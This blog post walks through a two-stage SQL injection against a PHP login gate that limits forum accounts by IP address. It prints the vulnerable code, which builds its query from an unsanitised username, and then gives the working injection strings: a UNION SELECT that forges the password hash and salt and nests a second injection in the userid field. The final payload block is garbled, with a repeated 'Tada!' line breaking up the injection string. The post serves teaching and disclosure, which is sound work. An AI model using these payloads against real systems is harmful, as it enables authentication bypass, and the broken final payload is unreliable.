--- layout: post status: publish published: true title: Dual Stage SQL Injection Attacks wordpress_id: 237 wordpress_url: http://pro.grammatic.org/post-dual-stage-sql-injection-attacks-65.aspx date: !binary |- MjAwOS0wMS0yNyAwNzo0NDozNiArMDEwMA== date_gmt: !binary |- MjAwOS0wMS0yNyAwNzo0NDozNiArMDEwMA== categories: - Technology - InfoSec - SQL - PHP tags: - SQL Injection - PHP comments: [] ---

I came across quite an interesting SQL Injection scenario today. The software in which the vulnerability resides will remain anonymous until fixed, but an abstracted version of the scenario can safely be outlined below.

The objective of the software is to restrict user accounts to certain IP addresses when accessing a bulletin board.

This is implemented by a simulated .htaccess prompt, generated by the following php code:

{% highlight php %} if (!isset($_SERVER['PHP_AUTH_USER'])) { header('WWW-Authenticate: Basic realm="Restricted area"'); header("HTTP/1.0 401 Unauthorized"); echo "No access.\n"; exit; } else { //checking database $userinf=$db->query_first("SELECT user.password,user.userid,user.salt FROM user WHERE username='$_SERVER[PHP_AUTH_USER]'"); $isvalidip=0; if($userinf['userid']) { $avalidip=$db->query_first("SELECT ips FROM user WHERE userid='$userinf[userid]'"); $avalidip=explode(" ",$avalidip['ips']); $REMOTE_ADDR = $_SERVER['REMOTE_ADDR']; foreach($avalidip as $testip) { if ($testip=='') { $isvalidip=1; break; } if (strstr($REMOTE_ADDR,$testip)==$REMOTE_ADDR || stristr(gethostbyaddr($REMOTE_ADDR),$testip)==$testip) { $isvalidip=1; break; } } } $salt = $userinf['salt']; $pass = $userinf['password']; $userp = md5(md5($_SERVER['PHP_AUTH_PW']) . $salt); if ($pass != $userp) { header('WWW-Authenticate: Basic realm="Restricted area"'); header('HTTP/1.0 401 Unauthorized'); echo "No Access.\n"; exit; } elseif(!$isvalidip) { header('HTTP/1.0 401 Unauthorized'); echo "Wrong IP.\n "; exit; } else { echo ""; } } {% endhighlight %}

Now, the SQL injection point itself is, to be blunt, flaming obvious:

{% highlight php %} $userinf=$db->query_first("SELECT user.password,user.userid,user.salt FROM user WHERE username='$_SERVER[PHP_AUTH_USER]'"); {% endhighlight %}

This means that any login value passed into the username box of the simulated htaccess header will be passed, unsanitised into the SQL query.

Now, the author of the software probably thought that, in this case, it doesn't matter if we are able to select a different user because we would still have to match an IP address at the next stage. Not so I'm afraid!

The first stage of attacking this application is to modify the initial SELECT query so that it:

  1. Limits the real query to 0 rows, thereby returning no data
  2. Writes in our own data using a UNION SELECT statement

Ok, so we would overwrite salt and password with our own values so that the later check of $pass != $userp doesn't fail. Something like this:

{% highlight sql %} SELECT user.password,user.userid,user.salt FROM user WHERE username='' or 't'='t' LIMIT 0 UNION SELECT 'a757a14af47d8a6ddc97ade8da847eec' AS password, 'xxx' AS userid, 'Px2' AS salt {% endhighlight %}

However, we have no user input into the second stage of the program. The code at:

{% highlight php %} $avalidip=$db->query_first("SELECT ips FROM user WHERE userid='$userinf[userid]'"); {% endhighlight %}

is controlled by the data from the returned result set. Wait a minute; we control that!

The action to take therefore is to write a second injection into the resultset from the first query!

The query that we want the second SQL to be transformed to is:

{% highlight sql %} SELECT ips FROM user WHERE userid='' LIMIT 0 UNION SELECT '' AS ips {% endhighlight %}

Therefore, we want our first injection to put that query INSIDE the userid field! The query we want to render would look like this:

{% highlight sql %} SELECT user.password,user.userid,user.salt FROM user WHERE username='' or 't'='t' LIMIT 0 UNION SELECT 'a757a14af47d8a6ddc97ade8da847eec' AS password, 'SELECT ips FROM user WHERE userid='' LIMIT 0 UNION SELECT '' AS ips' AS userid, 'Px2' AS salt {% endhighlight %}

The final injection then would look a little something like this:

{% highlight sql %} ' or 't'='t' LIMIT 0 UNION SELECT 'a757a14af47d8a6ddc97ade8da847eec' AS password, "

Tada! IP Checking out the window by a two stage SQL Injection attack.

LIMIT 0 UNION SELECT

Tada! IP Checking out the window by a two stage SQL Injection attack.

Tada! IP Checking out the window by a two stage SQL Injection attack.

AS ips-- " AS userid, 'Px2' AS salt-- {% endhighlight %}

Tada! IP Checking out the window by a two stage SQL Injection attack.